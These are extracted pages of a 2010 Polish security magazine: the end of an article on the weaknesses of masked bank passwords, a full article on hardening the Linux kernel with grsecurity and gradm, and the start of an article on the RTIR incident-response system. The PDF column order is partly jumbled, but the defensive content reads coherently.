hasła. W ten sposób odtworzenie całego
hasła zajmie bardzo mało czasu. Baza
danych, zawierająca fragmenty haseł,
wymaga więc szczególnej ochrony,
gdyż dostęp do niej daje możliwość
łatwego odtworzenia stosowanych przez
użytkowników haseł.
Jeśli nie wiadomo o co
chodzi...
...to chodzi o pieniądze. Na stosowanie
haseł maskowanych mają wpływ nie tylko
kwestie techniczne, ale również koszta
utrzymania systemu i przewidywane
zachowania użytkowników. Wysyłanie
SMS-ów z kodami jednorazowymi,
rozprowadzanie zdrapek czy zakup
tokenu dla każdego użytkownika tworzy
stałe koszty. Z drugiej strony samo hasło
jest źle widziane przez klientów –
podczas gdy wszystkie banki chwalą się
zabezpieczeniami, wprowadzenie hasła
maskowanego może być stosunkowo
tanim sposobem na zwiększenie ich
Rysunek 6. Przykładowy algorytm autoryzacji z użyciem haseł maskowanych
50 HAKIN9 1/2010
zaufania i – jeśli podczas implementacji
nie popełniono błędu – również
bezpieczeństwa. Poza kosztami ważne
jest również przekonanie klientów lub
użytkowników do nowego systemu.
Dla typowego użytkownika
wprowadzenie hasła maskowanego
może stanowić problem. Napisanie nawet
długiego hasła po kilku próbach staje się
odruchem. Tymczasem niektórzy nie są
w stanie powtórzyć z pamięci swojego
hasła (zwłaszcza jeśli zawiera znaki
specjalne), ale bez problemu wpisują
klikunastoznakowe ciągi na klawiaturze.
W przypadku haseł maskowanych nie
jest to takie proste – skojarzenie znaku
z pozycją nie jest już odruchowe. W
implementacjach stosowanych przez
polskie banki występuje jeszcze jeden
problem – po wpisaniu znaku w jedno
z okienek jesteśmy automatycznie
przenoszeni na kolejną pustą pozycję,
która może znajdować się kilka pól dalej.
Zdecydowanie utrudnia to wprowadzanie
hasła.
Ponadto maskowanie ogranicza
długość haseł wprowadzanych przez
telefon. Ciężko wyobrazić sobie sytuację,
w której użytkownik jest proszony o
podanie np. 17, 8 i 13 cyfry swojego
dwudziestoznakowego kodu. Może się to
skończyć napisaniem hasła na kartce
wraz z odpowiadającymi konkretnym
znakom pozycjami i przepisywaniem
z kartki. Ułatwia to podejrzenie hasła,
zamiast je utrudniać. Właśnie ta
niewygoda w zestawieniu ze stosunkowo
małym podwyższeniem poziomu
bezpieczeństwa haseł maskowanych
świadczy na ich niekorzyść. Znacznie
bezpieczniejsze rozwiązania to tokeny
lub hasła jednorazowe, które mogą
denerwować użytkowników, ale wzrost
poziomu bezpieczeństwa jest w tym
przypadku znaczny.
Oczywiście haseł maskowanych
nie należy całkowicie wykluczać. Jedną
z drugorzędnych, lecz ciekawych, zalet
haseł maskowanych jest ochrona przed
zapamiętaniem ich przez przeglądarkę.
Użytkownik – najsłabsze ogniwo systemu
bezpieczeństwa – lubi ułatwiać sobie życie
i zapamiętywać wszystkie wprowadzane
hasła. W przypadku przejęcia dostępu
do komputera lub zarażenia złośliwym
HASŁA MASKOWANE
oprogramowaniem atakujący ma
ułatwione zadanie. Zapamiętanie
hasła maskowanego przy klasycznych
implementacjach, czyli jedno pole na
jeden znak, nie ma sensu, więc użytkownik
nie będzie miał z tego większego
pożytku. Przy każdej wizycie na stronie
maska i układ pół powinny być różne, a
przeglądarka nie będzie znała zapisanego
hasła. Jest to szczególnie skuteczne, jeśli
kolejne maski są znacząco różne.
Podsumowanie
Jak widać hasła maskowane nie
są tak bezpieczne, jak mogłoby się
wydawać. Typowe ustawienia, czyli
kilkunastoznakowe hasło i dwukrotnie
krótsza maska to konfiguracja, przy której
Maskowanie w 10 krokach
•
•
•
•
•
•
•
•
•
•
Dobierz odpowiednie długości haseł i masek.
Wyświetlaj jedną maskę aż do prawidłowego logowania.
Upewnij się, że maska jest generowana dostatecznie losowo.
Zadbaj o ochronę długości hasła użytkownika.
Przechowuj hashe fragmentów haseł, zamiast hasła zapisanego czystym tekstem.
Dobrze zabezpiecz bazę z hashami.
Stwórz konta fikcyjnych użytkowników o każdym numerze klienta, zachowujących się tak
samo jak zwykli.
W uzasadnionych sytuacjach twórz maski, uwzględniając poprzednie.
Zadbaj o wygodę użytkowników.
Sprawdź wszystko jeszcze raz.
Tabela 1. Średnia liczba podsłuchów koniecznych do poznania całego hasła
maskowanego w zależności od długości hasła (wiersze) oraz liczby znaków, które
należy podać (kolumny). Wygenerowano na podstawie symulacji.
2
3
4
5
6
8
10
15
6
6,93
4,3
2,9
2,19
1
x
x
x
8
10,39
6,57
4,67
3,47
2,64
1
x
x
10
14,25
9,06
6,51
4,95
3,86
2,47
1
x
16
26,44
17,16
12,54
9,82
7,97
5,52
4,09
2,07
20
35,26
23
17,05
13,27
10,8
7,7
5,86
3,2
30
59,22
38,98
28,97
22,7
18,58
13,54
10,49
6,35
R
E
K
L
A
M
atakujący pozna wszystkie znaki już po
kilku próbach. Użytkownik zapewniany
przez bank o bezpieczeństwie haseł
maskowanych może zyskać zaufanie
do publicznie dostępnych komputerów,
kawiarenek czy przyprowadzania
operacji przez telefon w tłumie – przecież
ma bezpieczne hasło maskowane...
Tymczasem banki nie informują, że
kilkukrotna kradzież fragmentu hasła jest
równoznaczna z przekazaniem całego
hasła do rąk przestępców.
Hasła maskowane mogą przydać
się w niektórych przypadkach, ale ich
wpływ na bezpieczeństwo jest znikomy.
Takie zabezpieczenie może ochronić
przed maksymalnie kilkoma próbami
podsłuchu. Zamiast tego można wdrożyć
hasła jednorazowe definiowane przez
użytkownika. Jednym z powodów
stosowania haseł maskowanych jest
z pewnością próba zdobycia zaufania
klientów i walka o kolejne punkty w
rankingach prowadzonych przez branżowe
magazyny. Maskowanie sprawdzi się
doskonale, jeśli po każdym logowaniu w
niezaufanym miejscu zmienimy hasło. W
przeciwnym przypadku złudne zaufanie
klientów do tego systemu może ich drogo
kosztować.
Marcin Kosedowski
Dziennikarz publikujący m.in. w Magazynie Internet i
PC Worldzie. Interesuje się anonimowością, spamem
i kryptografią. Obecnie kończy studia na wydziale
Elektroniki i Telekomunikacji Politechniki Wrocławskiej.
Kontakt z autorem: [email protected].
A
1/2010 HAKIN9
51
OBRONA
SYLWESTER
ZDANOWSKI
Hartowanie
jądra Linuksa
Stopień trudności
Bezpieczeństwo komputerów jest tematyką często omawianą
pod różnym kontem. Budując bezpieczny dom nie wystarczy
alarm, groźny pies i czujnik dymu. Bez mocnych fundamentów
cała reszta zawali się w mgnieniu oka. Fundamentem systemu
jest kernel i prawa dostępu.
Z
Z ARTYKUŁU
DOWIESZ SIĘ
jakie są modele kontroli
dostępu,
jak poprawić bezpieczeństwo
na poziomie jadra,
jakie istnieją łaty poprawiające
bezpieczeństwo,
jak instalować łaty jądra,
jak wykorzystać łatę grsecurity,
czy warto wykorzystywać łaty
poza serwerami.
CO POWINIENEŚ
WIEDZIEĆ
znajomość podstaw systemu
Linux.
52 HAKIN9 1/2010
abezpieczenia podstawy systemu należy
zacząć od wyjaśnienia dlaczego piszę
o Linuksie pomijając system Windows.
Wielbiciele produktu firmy Microsoft powinni
zapoznać się z pierwszymi czterema stronami
podanymi w ramce W Sieci. Przedstawiają one
wierzchołek góry lodowej tematyki bezpieczeństwa
systemu Windows. Podsumować je można krótko,
słowa: Windows i bezpieczeństwo wzajemnie się
wykluczają.
Należy pamiętać, iż bezpieczeństwa
nie gwarantuje sama nazwa Linux. Do jego
zapewnienia konieczna jest właściwa polityka
twórców oprogramowania, jak i jego użytkowników.
Fundament tegoż domu jest ciągle poprawiany,
jednak jego podstawowa konstrukcja nie
gwaranuje bezpieczeństwa.
Modele Uprawnień
Podstawowym modelem uprawnień systemu
Linux jest POSIX file system (ang.Portable
Operating System Interface). Uprawnienia dzielone
są pomiędzy właściciela pliku, grupę oraz
innych. Jest to schemat dobrze znany każdemu
użytkownikowi Linuksa. Rozszerzeniem tego
modelu stał się model ACL (ang. Access Control
List). Dzięki niemu możliwe stało się nadawanie
uprawnień właściciela większej ilości użytkowników,
podobnie uprawnień grupy.
Następnym rozwinięciem kontroli dostępu
jest model RBAC (ang. Role-Based Access
Control). Kontrola dostępu oparta na rolach
daje znacznie większe możliwości od swoich
poprzedników. Podstawę stanowią role, do których
przypisywane są uprawnienia. Przykładem ról
mogą być dwie osoby, jedna zajmująca się
bezpieczeństwem systemu, druga utrzymaniem
serwera HTTP. Każda z tych osób wymaga innych
uprawnień. Jednak dużo prościej jest utworzyć rolę
administratora HTTP, aby później przypisywać do
niej nowych użytkowników. O ile odpowiedzialni
za serwer mogą się zmieniać często, o tyle
uprawnienia potrzebne do tego rodzaju pracy nie
powinny ulegać częstym zmianom.
W zależności od implementacji możliwe jest
również tworzenie powiązań pomiędzy rolami.
Powiązania takie mogą wykluczać posiadanie
dwóch ról przez jednego użytkownika lub
implikować przez posiadanie jednej roli kolejnej.
Ponadto role mogą dziedziczyć uprawnienia,
koncepcja dobrze znana programistom.
Powyższym zmianom towarzyszy zarzucenie
modelu DAC (ang. Discretionary Access
Control) na rzecz MAC (ang. Mandatory Access
Control). Kontrola DAC odbywa się na podstawie
uprawnień użytkownika do obiektu. Mac opiera
się zaś na etykietach tematów (ang. subjecs)
użytkownika oraz etykietach obiektów.
Listing 1. Procedura paczowania jądra
gunzip gresecurity-2.1.x.patch.gz
tar -jxf linux-2.6.x.tar.bz2
patch -p0 < gresecurity-2.1.x
HARTOWANIE JĄDRA LINUKSA
W efekcie rozwoju kontroli dostępu
powstałe narzędzia, jak grsecurity czy
SELinux, wykorzystują listę ról posiadających
uprawnienia. Do tych ról przypisywani
są użytkownicy. Wymienione z nazwy
rozwiązania różnią się jednak do tego
stopnia, iż mogą być stosowane łącznie
uzupełniając swoje możliwości.
Sprawę określenia wykorzystywanej
metody komplikuje możliwość działania
RBAC według modelu DAC lub MAC.
Wykorzystane podejście zależy od
konfiguracji, nie można z góry powiedzieć,
który model jest wykorzystywany.
Implementacje
W roku 2001 Narodowa Agencja
Bezpieczeństwa przedstawiła SELinux
wykorzystujący RBAC. Oprogramowanie
to w postaci łaty dla jądra systemu miało
na celu kontrolę uprawnień dostępu. Po
jego prezentacji rozpoczęły się pracę
nad LSM (ang. Linux Security Modules).
Celem projektu było stworzenie interfejsu
pozwalającego na wykorzystanie
dodatkowych modułów bezpieczeństwa.
Po wprowadzeniu LSM do jądra, SELinux
zostało przystosowane do wykorzystania
tego interfejsu bez użycia dodatkowych łat.
Jednak nie wszyscy są zachwyceni
sposobem działania LSM. Rozwiązaniem
mającym poprawić bezpieczeństwo na
poziomie jądra jest grsecurity, podobnie
jak SELinux wprowadzający model RBAC.
Na stronach projektu można odnaleźć
informację, dlaczego nie wykorzystuje
on LSM. Wśród wielu argumentów warto
zwrócić uwagę na dwa najbardziej
niepokojące, związane również z SELinux.
Uruchomione w jądrze funkcje LSM
w połączeniu z beztroską użytkowników
stanowi tykającą bombę. Jeżeli użytkownik
systemu zainstaluje oprogramowanie
z niepewnego źródła, wszelakie
zabezpieczenia przestają mieć znaczenie.
Oprogramowanie takie, wykorzystując
LSM, przejmuje całkowicie kontrolę
nad systemem. Drugą przyczyną są
ograniczone możliwości LSM do kontroli
uprawnień, podczas gdy grsecurity oferuje
znacznie więcej możliwości.
SELinux skupia się na kontroli dostępu,
tymczasem grsecurity dodaje do jądra
dodatkowe możliwości ochrony przed
błędami w oprogramowaniu.
Podobny kierunek przyjął projekt RSBAC
(ang. Rule Set Based Access Control), nie
mylić z RBAC. Nie wykorzystuje on LSM,
gdyż oferuje zbyt małe możliwości kontroli.
Ponadto RSBAC nie ogranicza się do samej
kontroli dostępu, będącej celem LSM.
Kolejną możliwością wzmocnienia jądra
systemu jest OpenWall. Zabezpieczenia
dodawane przez projekt, według
dokumentacji można podzielić na trzy
kategorie:
•
•
•
przetestowane. Potencjalnie posiadają one
mniej nieznanych jeszcze luk. Dlatego też
jądra z serii 2.4 są cały czas aktualizowane i
mogą być wykorzystywane w serwerach. W
przypadku komputerów wykorzystywanych
do codziennej pracy, ze względu na ilość i
charakter zmian, znacznie przyjaźniejsze są
jadra z serii 2.6.
Grsecurity
Instrukcję postępowania z grsecurity
można znaleźć na stronach projektu.
Z tego powodu nie marnuję miejsca
na opisywanie wszystkich dostępnych
parametrów. Instrukcje te, choć pomocne,
są uproszczone, praktycznie eliminując z ich
wykorzystania początkujących użytkowników.
Pierwszą czynnością przed instalacją
jest pobranie łaty grsecurity oraz jądra,
dla którego jest ona przeznaczona. W
chwili pisania artykułu wersja stabilna
wymaga jądra 2.6.27.10, dalsze kroki będą
dokładnie odpowiadać dystrybucji Debian.
Inne dystrybucje będą wymagały nieco
odmiennego podejścia, w szczególności
związanego z tworzeniem pakietów.
Pierwszym krokiem jest zaopatrzenie się
w samą łatę grsecurity oraz odpowiadające
zbiór opcji bezpieczeństwa dostępnych
w menu Security kernela,
zabezpieczenia dla samego jądra na
wypadek luk w nim samym,
niektóre wersje łaty zawierają poprawki
znanych błędów w jądrze.
Problem z tym projektem polega
na wersjach kernela, dla których jest
przeznaczony na chwilę obecną. Łaty
przeznaczone są dla jądra 2.4.x 2.2.x i 2.0.x,
brakuje wersji dla 2.6.x. Według informacji
na stronach projektu, powstanie brakującej
wersji jest kwestią czasu.
Często stosowane przez
administratorów są starsze jądra, jako lepiej
Listing 2. Wpisy limits.conf.
#*
#root
#*
#@student
#@faculty
#@faculty
#ftp
#ftp
#@student
soft
hard
hard
hard
soft
hard
hard
-
core
core
rss
nproc
nproc
nproc
nproc
chroot
maxlogins
0
100000
10000
20
20
50
0
/ftp
4
Listing 3. Tworzenie pakietu deb
make-kpkg --initrd --append-to-version=-nazwa kernel_image kernel_headers
dpkg -i linux-image-2.6.21.3-nazwa_2.6.27.10-nazwa-10.00.Nazwa_i386.deb
dpkg -i linux-headers-2.6.21.3-nazwa_2.6.27.10-nazwa-10.00.Nazwa_i386.deb
Rysunek 1. Procedura paczowania jądra
1/2010 HAKIN9
53
OBRONA
jej jądro. Po umieszczeniu obu elementów w
jednym katalogu należy wykonać polecenia
widoczne na Listingu 1. oraz na Rysunku 1.
Ewentualne problemy na tym etapie mogą
wystąpić przy braku programów służących
dekompresji.
Na tym zrzucie ekranu widoczne jest
przekierowanie wyniku ostatniego polecenia.
Jego celem jest jedynie umieszczenie
informacji normalnie wyświetlanych na
ekranie, w pliku tekstowym.
W trakcie wykonywania polecenia
patch, mogą pojawić się błędy związane z
brakiem potrzebnego oprogramowania, jak
pakiety bison czy flex.
W następnym kroku wystarczy przejść
do katalogu jądra i wykonać polecenie
make menuconfig. Dodane opcje można
odszukać przechodząc przez Security
options, następnie wybierając Gresecurity
lub PaX.
Przed przejściem do konfiguracji
nowych elementów należy zająć się
całym jadrem. Nie będę nawet pobieżnie
omawiał konfiguracji jądra. Osoby wcześniej
wykonujące kompilację mogą ułatwić sobie
zadanie przenosząc już zoptymalizowaną
konfigurację jądra z pliku /boot/.config-2.6.x
do powstałego po rozpakowaniu jądra
katalogu linux-2.6.x. Dzięki temu mając
posiadaną konfigurację, można skupić się
na nowych elementach.
Wśród opcji dodanych przez grsecurity,
widocznych na Rysunku 2., możliwy jest
wybór poziomu bezpieczeństwa. Opcja
ta modyfikuje w pre-definiowany sposób
pozostałe możliwości. Prócz wyboru
poziomu, należy również przejrzeć wszystkie
opcje z osobna. Wybór zbyt wysokiego
poziomu bezpieczeństwa może utrudnić
pracę wykorzystywanego oprogramowania.
Dlatego też poziom niski, dając podstawowe
zabezpieczenia, sam stwarza najmniej
problemów. Niski poziom zabezpieczenia
włączy następujące opcje:
•
•
•
Linking restrictions – użytkownicy nie
będą mogli korzystać z symlinków
umieszczonych w katalogach, do
których wszyscy maja prawo dostępu.
FIFO restrictions – uniemożliwia
użytkownikom zapis do FIFOs (inaczej
pipes) w katalogach dostępnych do
ogólnego zapisu.
Enforce RLIMIT_NPROC on exece
– dodaje dodatkową kontrolę zużycia
zasobów procesora przez użytkowników.
Możliwość zużycia zasobów przez
użytkownika można również ograniczyć
bez instalacji łaty. W tym celu wystarczy
wykorzystać plik /etc/security/limits.
Domyślnie zainstalowany plik zawiera
wyjaśnienie możliwości i przykładowe wpisy,
widoczne również na Listingu 2.
Każdy wpis składa się z kolejno,
określenia do kogo się odnosi, ogranicza w
sposób miękki czy twardy, co ogranicza i do
jakiej wartości.
Warto jeszcze zajrzeć do możliwości
oferowanych przez Pax, chociaż żadna z
nich na tym poziomie nie jest włączona.
Umieszczone tu opcje skupiają się na
ochronie pamięci programów. Jednak
każda z opcji pociąga za sobą koszty
opisane w pomocy, które należy rozważyć.
Najmniejszym problemem w przypadku
serwerów są problemy z aplikacjami
XFree86 czy wine i wirtualna maszyna
javy. Problemy te wywoływane przez opcje
Enforce non-executable pages praktycznie
eliminują jej zastosowanie poza serwerami.
Dla serwerów jednak większym problemem
jest obciążenie procesora lub ograniczenie
adresowanej pamięci, do której dostęp
mają aplikacje.
Innym przykładem, który pokazuje
z jaką rozwagą trzeba podchodzić do
dodatkowych zabezpieczeń jest Sanitize
all freed memory. W zamian za szybkie
usuwanie niepotrzebnych danych z pamięci,
należy się spodziewać zwiększonego
obciążenia procesora. Po skonfigurowaniu
jądra można je przygotować w formie paczki
lub bezpośrednio zainstalować. Polecenia
do stworzenia paczki dla dystrybucji Debian
widoczne są na Listingu 3.
Po ponownym uruchomieniu z nowym
jądrem, logując się na konto zwykłego
użytkownika, można zobaczyć zmiany
wywołując polecenia top lub dmesg.
Po zmianie jądra można zainstalować
narzędzie gradm. Pozwala ono na
tworzenie polityk bezpieczeństwa. W tym
celu wystarczy pobrać odpowiednią wersję
aplikacji i wydać polecenia make oraz make
install. W czasie instalacji program
poprosi o wpisanie hasła, którego lepiej nie
zapomnieć.
Pomocą w tworzeniu polityki
bezpieczeństwa jest tryb nauki.
Dzięki niemu program sam generuje
podstawowe pozwolenia na wykonywane
czynności. W czasie nauki programu
należy wykonywać wszystkie czynności
klasyfikujące się do normalnej pracy
systemu. Grsecurity wykorzystuje
obowiązkową kontrolę dostępu (ang.
UWAGA
Dalszy opis ma pokazać czytelnikowi, jak
posługiwać się programem gradm krok
po kroku uwzględniając wszelkie pułapki.
Stosując się do opisu należy zachować
ostrożność, gdyż można pozbawić się
możliwości kontroli jego pracy. Przede
wszystkim, przed wykonaniem jakiejkolwiek
czynności, należy przeczytać cały artykuł.
Rysunek 2. Fragment polityki z opcją nauki
54 HAKIN9 1/2010
HARTOWANIE JĄDRA LINUKSA
Mandatory Access Control), dzięki
której użytkownik root jest traktowany tak
samo, jak użytkownik zwykły. W efekcie
polityki wykorzystywane przez program
ograniczają możliwość zdobycia uprawnień
roota oraz potencjalne szkody. Nawet
po ich uzyskaniu możliwości działania
napastnika są ograniczone. Ścisła polityka
bezpieczeństwa ma jednak drugi efekt.
Po uruchomieniu wyuczonej polityki
niemożliwe będzie wykonanie jakiejkolwiek
nieznanej czynności, w tym wyłączenie
systemu. Dlatego prócz umiejętnego
posługiwania się dwoma trybami nauki,
konieczne są podstawy pisania polityk.
Proces uczenia programu można nieco
usystematyzować i przyśpieszyć, zawczasu
robiąc listę czynności, które mają być
dozwolone. Po uruchomieniu trybu nauki
można wykonać wszystkie te czynności.
Na Listingu 1 widoczne są polecenia,
które należy wykonać w celu rozpoczęcia
nauki oraz jej zakończenia. Plik, w którym
zapisywane są czynności w czasie
nauki, może zasadniczo znajdować
się w dowolnym rozsądnym miejscu.
Kończąc naukę systemu należy podać
plik wyjściowy, zawierający reguły pracy
systemu. Plik ten musi się znajdować w
katalogu konfiguracyjnym programu pod
odpowiednią nazwą.
Przy próbie wykonania poleceń
z Listingu 3 może pojawić się błąd
informujący, iż terminal jest niebezpieczny.
W takiej sytuacji należy wykonać dwie
czynności. Po pierwsze upewnić się
czy program, jak i łata są w najnowszej
stabilnej wersji. Drugim krokiem jest próba
wyłączenia wszystkich zbędnych aplikacji.
W przypadku systemów korzystających
ze środowiska graficznego należy je
uruchomić dopiero w trybie nauki.
Listing 4. Uruchomienie częściowej
nauki
# gradm -P admin
Password:
#gradm -F -L gradm_learning.log
#gradm -D
#gradm -F -L gradm_learning.log -O
/etc/grsec/
police
#gradm -E
Listing 3. Pierwsze uruchomienie
trybu nauki i
polityki.
#gradm -L new_learning.log -E
W momencie uruchomienia programu
w konsoli użytkownika mogą zostać
wyświetlone logi programu. Zależnie od
konfiguracji jądra i sposobu logowania
informacje takie będą kierowane na konsole
przy każdym zablokowaniu działania.
Aby funkcja nauki rozpoznała wszystkie
działania, konieczne jest po jej rozpoczęciu
zalogowanie się wszystkich użytkowników.
Jeżeli użytkownik będzie zalogowany w
chwili uruchomienia trybu nauki i w czasie
jej trwania nie zaloguje się ponownie,
nie zostanie zarejestrowany. Przez to w
politykach nie powstanie przeznaczona
dla niego rola, będzie więc korzystał z roli
domyślnej. W praktyce użytkownik taki nie
ma szans na uruchomienie na przykład
środowiska graficznego.
Wskazane jest, aby tryb nauki został
uruchomiony na kilka dni roboczych.
Zakładając, iż w tym czasie nikt nie wykona
niepożądanych operacji, pozwoli to na
utworzenie pełnej polityki.
Niestety przy próbie uruchomienia
programu z taką polityką można się
spodziewać błędów powodowanych
przez dowiązania symboliczne. Na
szczęście błąd zgłoszony przy próbie
uruchomienia programu wskaże dokładnie
linię zawierającą niepożądane odwołanie.
Najprostszym wyjściem po upewnieniu się
do czego się odnosi, jest jej skomentowanie.
Kolejny częsty problem w trybie
nauki to powtarzanie ról. Dopóki z pliku
konfiguracyjnego nie zostaną usunięte
zbędne wpisy ról, niemożliwe będzie
uruchomienie RBAC.
Ostatnim, często powtarzającym się
problemem, jest brak zabezpieczenia dla
katalogu /etc/grsec.
Problem ten będzie sygnalizował
komunikat: There were 1 holes found in your
RBAC configuration.... W pliku zawierającym
politykę należy odnaleźć temat / dla roli root
i dodać wpis /etc/grsec h . Analogiczne
uprawnienia powinny być ustawione dla
wszystkich najistotniejszych plików jak /etc/
ssh czy smbpasswd i wielu innych.
Pierwsza wygenerowana polityka
z pewnością nie będzie idealna.
Po odczytaniu z logów informacji
o zablokowanym dostępie można
wykorzystać ograniczony tryb nauki. Dzięki
niemu ochrona zostanie wyłączona tylko w
stosunku do wybranych obiektów.
W tym celu do obiektu zapisanego
w polityce należy dodać parametry ol.
Zapis taki widoczny jest na drugiej ilustracji.
Sam program należy uruchomić w trybie
częściowej nauki zgodnie z Listingiem 4.
W efekcie powstanie polityka odnosząca
się do oznaczonych obiektów. Wystarczy
zastąpić odpowiednie fragmenty pliku, aby
nowe uprawnienia zaczęły działać.
Po douczeniu programu, co jest
dozwolone, polityki bezpieczeństwa
powinny działać zgodnie z oczekiwaniami.
Oznacza to spokojną pracę do czasu
zmiany w konfiguracji czy dodania nowego
użytkownika.
Podsumowanie
Każde dodatkowe narzędzie służące
zwiększeniu bezpieczeństwa wymaga
konfiguracji. Rozwiązania oparte na kontroli
dostępu wymagają ponadto ciągłej
aktualizacji w zmieniającym się środowisku.
W efekcie wykorzystywanie takich rozwiązań
na komputerach używanych do codziennej
pracy jest znakomitym sposobem
na dodanie sobie pracy. Instalacja
dodatkowego oprogramowania czy
tworzenie nowego użytkownika. Wszystko to
wymaga dostosowania konfiguracji.
Z drugiej strony ściany ogniowe czy
serwery poczty które rzadko podlegają
zmianie konfiguracji zyskują na
bezpieczeństwie. Jednorazowy wysiłek
w ich przypadku daje nadzieje na długą
bezpieczną pracę przynajmniej do czasu
zmiany konfiguracji.
Spodziewając się wzrostu popularności
Linuksa tym samym prób ataku pozostaje
nadzieja na wdrażanie silnych domyślnych
zabezpieczeń. Obecnie znajdujący się w
jądrze SELinux wykorzystywany jest przez
administratorów, do tego nie wszystkich.
Jeżeli okaże się to niezbędne, z pewnością
powstaną rozwiązania zaadresowane do
użytkowników SOHO. Nie wymagające
takiej wiedzy i pracy, jak grsecurity czy
SELinux. Obecnie rozwiązania te nie
mają racji bytu w grupie SOHO, zaś od
administratorów serwerów wymagają dużo
wiedzy i pracy.
Sylwester Zdanowski
Autor książki Debian Linux. System operacyjny dla
każdego. Pierwsze starcie. Student Europeistyce
na Wydziale Humanistycznym Uniwersytetu
Szczecińskiego.
Kontakt z autorem: [email protected]
1/2010 HAKIN9
55
PRAKTYKA
MARCIN TEODORCZYK
RTIR – nie
trać czasu na
papierkową robotę
Stopień trudności
Wiadomo, że zdarzenia związane z naruszaniem
bezpieczeństwa są nie do uniknięcia. Czy nie warto
przygotować się do efektywnej ich obsługi? Nieocenionym
narzędziem jest tutaj system wsparcia reagowania na
incydenty.
N
Z ARTYKUŁU
DOWIESZ SIĘ
co to jest system wsparcia
reagowania na incydenty
bezpieczeństwa,
co ma do zaoferowania RTIR,
jak efektywnie używać RTIR.
CO POWINIENEŚ
WIEDZIEĆ
znać podstawy administracji
systemów UNIX,
posiadać działające serwery
MySQL, Apache, Sendmail,
mieć zainstalowany Perl.
56 HAKIN9 1/2010
a wstępie warto zdać sobie sprawę,
co to jest incydent w kontekście
bezpieczeństwa informatycznego. Otóż
jest to każda bezprawna lub nieautoryzowana
akcja dokonana przy użyciu komputera lub sieci
komputerowej. Jako przykłady z jednej strony
podać tutaj można skanowanie portów czy ataki
DoS, a z drugiej malwersacje, kradzieże poufnych
danych, czy pornografię dziecięcą. Jasne
jest, że zdarzenia takie są w praktyce nie do
uniknięcia, a odpowiednia reakcja na nie powinna
minimalizować ich skutki i pociągać sprawców
do odpowiedzialności.
W idealnej sytuacji, za obsługę incydentów
bezpieczeństwa w każdym przedsiębiorstwie
czy organizacji odpowiadać powinien
specjalnie wydzielony zespół CERT/CSIRT
(ang. Computer Emergency Response
Team/Computer Security Incident Response
Team). Ponadto, odpowiedzialność za obsługę
każdego incydentu powinna być jednoznacznie
przypisana do konkretnych członków zespołu.
Niestety, w praktyce taka sytuacja, szczególnie
w małych firmach, rzadko ma miejsce. Obsługą
incydentów bezpieczeństwa często zajmują się
administratorzy systemu, lub tzw. przypadkowe
osoby, które niekiedy przeciążone obowiązkami,
nie są w stanie wykonywać tej funkcji rzetelnie
i co najważniejsze efektywnie (co zwykle
oznacza po prostu szybko). Nie trzeba chyba
nikomu uświadamiać, że obsługa incydentów
jest krytyczna nie tylko z punktu widzenia
bezpieczeństwa, ale również, a może przede
wszystkim, jeśli chodzi o zachowanie dobrej
reputacji. W sytuacji takiej niektóre firmy decydują
się nawet na zlecenie, tak ważnych przecież
zadań, podwykonawcom zewnętrznym.
A przecież reakcja na incydenty
bezpieczeństwa na styku zgłaszający –
obsługujący może zostać znacznie usprawniona
z wykorzystaniem systemów wsparcia takich jak
RTIR (ang. Request Tracker for Incident Response).
Systemy wsparcia reagowania
na incydenty
Reakcja na incydent jest procesem złożonym.
Typowo łańcuch zdarzeń przebiega następująco.
Pierwszym etapem jest przygotowanie
do obsługi incydentów – wyznaczenie
pracowników, zainstalowanie i skonfigurowanie
oprogramowania, przeprowadzenie szkoleń itp.
Kolejnym etapem jest wykrywanie incydentów,
które najczęściej sprowadza się do przyjmowania
zgłoszeń użytkowników. Następnie, po
szybkiej, wstępnej odpowiedzi na zgłoszenie,
podejmowane jest dochodzenie. Dochodzenie
to działania mające na celu zminimalizowanie
skutków incydentu i wyjaśnienie jego przyczyn
(ewentualnie pociągnięcie jego sprawców do
odpowiedzialności). Działanie takie zakończone
powinno być raportem, przeznaczonym także dla
przełożonych. Na każdym etapie tego procesu
spotyka się trudności. W niniejszym artykule
skupimy się na problemie skoordynowania
RTIR
działań wielu osób, będących na różnych
szczeblach decyzyjnych, a często nawet
pracujących w różnych firmach. Poza tym,
bardzo często pojawia się też potrzeba
komunikacji z organizacjami publicznymi, w
tym organami ścigania.
I tutaj, członkom zespołów CERT/
CSIRT z pomocą przychodzą systemy
wsparcia reagowania na incydenty,
takie jak RTIR. Mają one zastosowanie
na prawie każdym etapie procesu
obsługi incydentów, a służą głównie do
usprawnienia komunikacji i umożliwienia
rozliczania pracowników. Podstawowymi ich
funkcjami są organizacja i automatyzacja
wymiany informacji. Wstępne odpowiedzi
na zgłoszenia mogą być generowane
automatycznie, zachowywana jest cała
historia korespondencji (w dodatku w
postaci nieedytowalnej), kopie wybranych
wiadomości mogą być przekazywane
przez system np. zarządowi. Incydentom
mogą być nadawane priorytety, a
użytkownikom określone prawa dostępu. W
praktyce, systemy wsparcia reagowania na
incydenty zwykle opierają się na biletach
(ang. tickets) i poczcie elektronicznej, a
często udostępniają także interfejs WWW.
RTIR
RTIR jest jednym z przykładowych
rozwiązań tego typu. System rozwijany od
2003 roku przez firmę Best Practical (http:
//bestpractical.com/ ), technicznie jest
wtyczką (ang. plugin) do bardziej ogólnego
w zastosowaniu (i starszego) systemu RT
(ang. Request Tracker). RTIR stworzony
został na potrzeby zespołu JANET-CERT
i wraz z kodem źródłowym (ang. open
source) udostępniony na licencji GNU GPL
2.0. (podobnie jak RT). Aktualnie dostępna
jest wersja 3.8. Typowo, RTIR opiera się
o komunikację z wykorzystaniem poczty
elektronicznej, interfejs WWW i bilety (ang.
tickets).
System zorganizowany jest wokół
incydentów. Każdy incydent może mieć
przyporządkowanych wiele raportów,
dochodzeń, blokad i właścicieli. Raport to
każda wiadomość (zgłoszenie incydentu,
odpowiedź, komentarz itp.). Dochodzenie
to działania mające na celu zgromadzenie
dowodów oraz określenie przyczyn i
sprawców incydentu. Blokada to wyłączenie
określonych usług (np. zablokowanie
określonego portu lub hosta o określonym
adresie IP przez zaporę ogniową).
Właściciel to osoba odpowiedzialna za
dochodzenie i raport końcowy. Właściciele
(użytkownicy) mogą być organizowani w
grupy.
Oprócz podstawowej funkcjonalności
(organizacja incydentów i przekazywanie
wiadomości), za wykorzystaniem RTIR
przemawia wiele innych cech. Jedną z
nich jest internacjonalizacja. Dostępne
są 22 wersje językowe, w tym język
polski (choć tłumaczenie interfejsu jest
niedokończone). Możliwe jest także
przyporządkowanie domyślnego języka
interfejsu i strefy czasowej użytkownikowi).
Przez cały czas działania zachowywane
są nieedytowalne logi. Dostępne jest
